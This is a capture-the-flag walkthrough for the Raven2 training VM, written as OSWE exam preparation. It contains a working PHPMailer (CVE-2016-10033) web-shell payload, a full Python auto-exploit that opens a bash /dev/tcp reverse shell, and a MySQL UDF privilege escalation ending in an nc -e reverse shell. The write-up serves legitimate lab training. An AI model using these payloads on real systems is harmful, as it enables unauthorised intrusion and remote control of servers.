Raven2 is another vm designed to train to OSWE exam!
Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?
Diagram
graph TD
A[Enumeration] -->|Nmap| B(Port 80)
B --> |Gobuster| C[Contact.zip]
C --> |Source Code Analysis| D[PHPMailer]
D --> |Python Script| E[Auto Exploit]
E --> |Mysql UDF| F[Root]
Enumeration
Let’s get the box ip with arp-scan
1
arp-scan -I eth1 192.168.56.100/24
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 192.168.56.155 -p-
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
Just a normal page
The only page we can do something interesting as input data is the contact tab
Gobuster
Let’s start crafting a little more on the box to see if we can enum more things do explore. I use zip, because I know that possible we will need to get the source code from anywhere.
1
gobuster dir -t 100 -u http://192.168.56.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip
We found a bunch of directories in it. Fine. All of them we must be logged in to access. So, let’s go deeper in the login tab now
Let’s download the zip file
1
wget 192.168.56.155/contact.zip
We unzip it
Source Code Analysis
We found something interesting in this php file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (isset($_REQUEST['action'])){
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
if (($name=="")||($email=="")||($message=="")){
echo "There are missing fields.";
}else{
require 'vulnerable/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->Host = "localhost";
$mail->setFrom($email, 'Vulnerable Server');
$mail->addAddress('admin@vulnerable.com', 'Hacker');
$mail->Subject = "Message from $name";
$mail->Body = $message;
if(!$mail->send()) {
echo 'Message was not sent.';
echo 'Mailer error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent.';
}
}
}
?>
We test to see how it works in the web app, to see in burp what fields we have
We got an error messsage
What is the most important part of this analysis is the PHPMailerAutload.php file being called on the contact.php
PHPSendMail
https://www.fortinet.com/blog/threat-research/analysis-of-phpmailer-remote-code-execution-vulnerability-cve-2016-10033
We found one vulnerability from phpsendmail function
What is happening here?
PHPMailer get the requests which were passed by the user
Makes the validation of it
Send the request to mail(), which send the e-mail
For examil, if the value $address be “attack -InjectParam @teste.com” will be rejected. But the method that the code uses, follow the RFC3969, one e-mail show contain quotes and espaces, so ““attack -InjectParam”@teste.com” will be accept by the code filter.
After this validation the PHPMailer will send the user input to mail() function, which will send the mail
The problem is that the phpmailer does not make the proper sanitizaton
For example, if we send the request
"attack -Parameter"@teste.com"
The function mail() will execute the /usr/bin/sendmail with 4 arguments
- /usr/bin/sendmail
- -t
- -i
- -f attacker -Parameter@teste.com
So, the attacker could break this fourth argument injecting a “"
atacker\"-Parameter1 -Parameter2"@teste.com
The function mail() will execute the /usr/bin/sendmail with 6 arguments
- /usr/bin/sendmail
- -t
- -i
- -f attacker
- -Parameter1
- -Parameter@teste.com
So, with the burpsuite request we mount our payload
1
2
3
name=Hacker
email="hacker\" -oQ/tmp -X/var/www/html/shell.php rce"@rce.com
message=<?php echo shell_exec($_REQUEST['cmd']); ?>
1
action=submit&name=0x4rt3mis&email="hacker\"+-oQ/tmp+-X/var/www/html/shella.php+rce"@rce.com&subject=Testing&message=<?php+echo+shell_exec($_REQUEST['cmd']);+?>
And we got RCE
Now, let’s automate it to get the full reverse shell
Auto Reverse Shell
Here it is
raven_auto.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto exploit for Raven2 - VulnHub
import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import base64
import urllib.parse
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Function to just send the mail
def sendMail(rhost):
print("[+] Let's send the malicious PHP !! [+]")
url = "http://%s:80/contact.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
data = {"action": "submit", "name": "0x4rt3mis", "email": "\"hacker\\\" -oQ/tmp -X/var/www/html/cmd.php rce\"@rce.com", "subject": "Testing", "message": "<?php echo shell_exec($_REQUEST['cmd']); ?>"}
r.post(url, headers=headers, data=data)
print("[+] Sent !! [+]")
# Just get the reverse!
def getReverse(rhost,lhost,lport):
print("[+] Now Let's get the reverse shell! [+]")
reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
message_bytes = reverse.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
payload = {
'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
payload_str = urllib.parse.urlencode(payload, safe='|')
url = "http://%s:80/cmd.php?" %rhost
r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.ipaddress
lport = args.port
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Send the mail
sendMail(rhost)
# Get the rev shell
getReverse(rhost,lhost,lport)
if __name__ == '__main__':
main()
www-data -> Root
Let’s get root
We see a password in the config files
We see that mysql in running as root
1
ps auxf | grep mysql
Once the mysql is running as root and we have the mysql credentails, we can get the UDF mysql function
1
searchsploit mysql udf
Now just, replicate the exploit
1
searchsploit -m exploits/linux/local/1518.c
Now let’s exploit
We compile it
1
2
3
cd /tmp
gcc -g -c -fPIC 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
Now get in the mysql
1
2
3
4
5
6
7
8
mysql -u root -p
R@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
Now, get the reverse shell
1
select do_system('nc -nv 192.168.56.153 8855 -e /bin/bash');
Got root!